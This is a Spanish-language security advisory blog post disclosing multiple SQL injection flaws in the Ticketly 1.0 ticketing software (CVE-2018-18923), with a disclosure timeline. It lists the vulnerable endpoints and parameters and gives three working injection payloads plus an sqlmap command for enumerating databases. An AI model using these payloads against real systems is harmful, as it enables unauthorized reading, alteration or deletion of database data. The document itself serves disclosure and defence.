En la entrada anterior, hemos visto una vulnerabilidad de Escalación de Privilegios en Ticketly 1.0, en esta entrada, vamos a ver otras vulnerabilidades que he encontrado en este software, en concreto, múltiples SQL Injections, estas vulnerabilidades han sido asociadas al CVE-2018-18923.

 

Ticketly – CVE-2018-18923

Ticketly 1.0 – Multiple SQL Injections

Ticketly 1.0, es un software de ticketing desarrollado por AbiSoft para ofrecer soporte a los usuarios sobre incidencias en los sistemas, está basado en PHP y MySQL.

📅 Vulnerabilidad descubierta por Javier Olmedo el 24/07/2018

💣 Publicada el 05/11/2018

🐛 CVE-2018-18923

🔗 Link del software Ticketly

🐞 Versión vulnerable = 1.0

 

Vector de ataque / Criticidad de la explotación

CRITICIDAD – CRÍTICA

A través de las vulnerabilidades SQL Injection, un usuario malintencionado podría leer, modificar o borrar información de la base de datos que utiliza la aplicación, lanzar comandos al sistema operativo o causar una denegación de servicio con el objetivo de obtener información confidencial, escalar privilegios o dejar inoperativa la aplicación.

 

Parámetros/Recursos vulnerables

En los siguiente recursos se han encontrado parámetros vulnerables a ataques SQL Injection a través de peticiones POST, estas peticiones permiten las condiciones WHERE, HAVING, ORDER BY y GROUP BY, lo que permite que sean fácilmente explotables y recuperar grandes cantidades de información de la base de datos con una sola consulta.

 

/action/addproject.php

Parámetros description, name, category_id y description

 

/action/addticket.php

Parámetros king_id, priority_id, project_id, status_id y title

 

/reports.php

Parámetros kind_id y status_id

 

💉 Payload 1 (boolean-based blind)

name=Test” RLIKE (SELECT (CASE WHEN (4632=4632) THEN 0x54657374 ELSE 0x28 END)) AND “lrmZ”=”lrmZ&description=Test

 

💉 Payload 2 (error-based)

name=Test” AND EXTRACTVALUE(9139,CONCAT(0x5c,0x7176766a71,(SELECT (ELT(9139=9139,1))),0x7178717a71)) AND “SZJL”=”SZJL&description=Test

 

💉 Payload 3 (AND/OR time-based blind)

name=Test” RLIKE SLEEP(5) AND “WkTS”=”WkTS&description=Test

 

📷 Captura de pantalla de SQLmap lanzando el comando

sqlmap -r poc.req -p name --dbs

 

Prueba de concepto (PoC)

1.  Si añadimos el caracter ‘ (%22) en el parámetro name obtenemos un error en la aplicación

1.1 Petición

1.2 Respuesta

2. En cambio, al añadir dos ‘ (%22%22), obtenemos un código 200 OK

2.1 Petición

2.2 Respuesta

 

Timeline

24/07/2018 Descubrimiento de la vulnerabilidad

24/07/2018 Contacto con el desarrollador

24/07/2018 El desarrollador marca la vulnerabiliad como pendiente de parcheo

02/11/2018 Solicito CVE

04/11/2018 Asignación de CVE-2018-18923 por MITRE

05/11/2018 Hago pública la vulnerabilidad

 

Referencias

CVE-MITRE – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18923

 

Un saludo a todos!! 👋


Javier Olmedo

Consultor de Ciberseguridad e Investigador de Seguridad de Aplicaciones Web en mi tiempo libre, Técnico en Sistemas Informáticos y Técnico Superior en Desarrollo de Software, apasionado de la [In]Seguridad Informática.

Deja tu comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.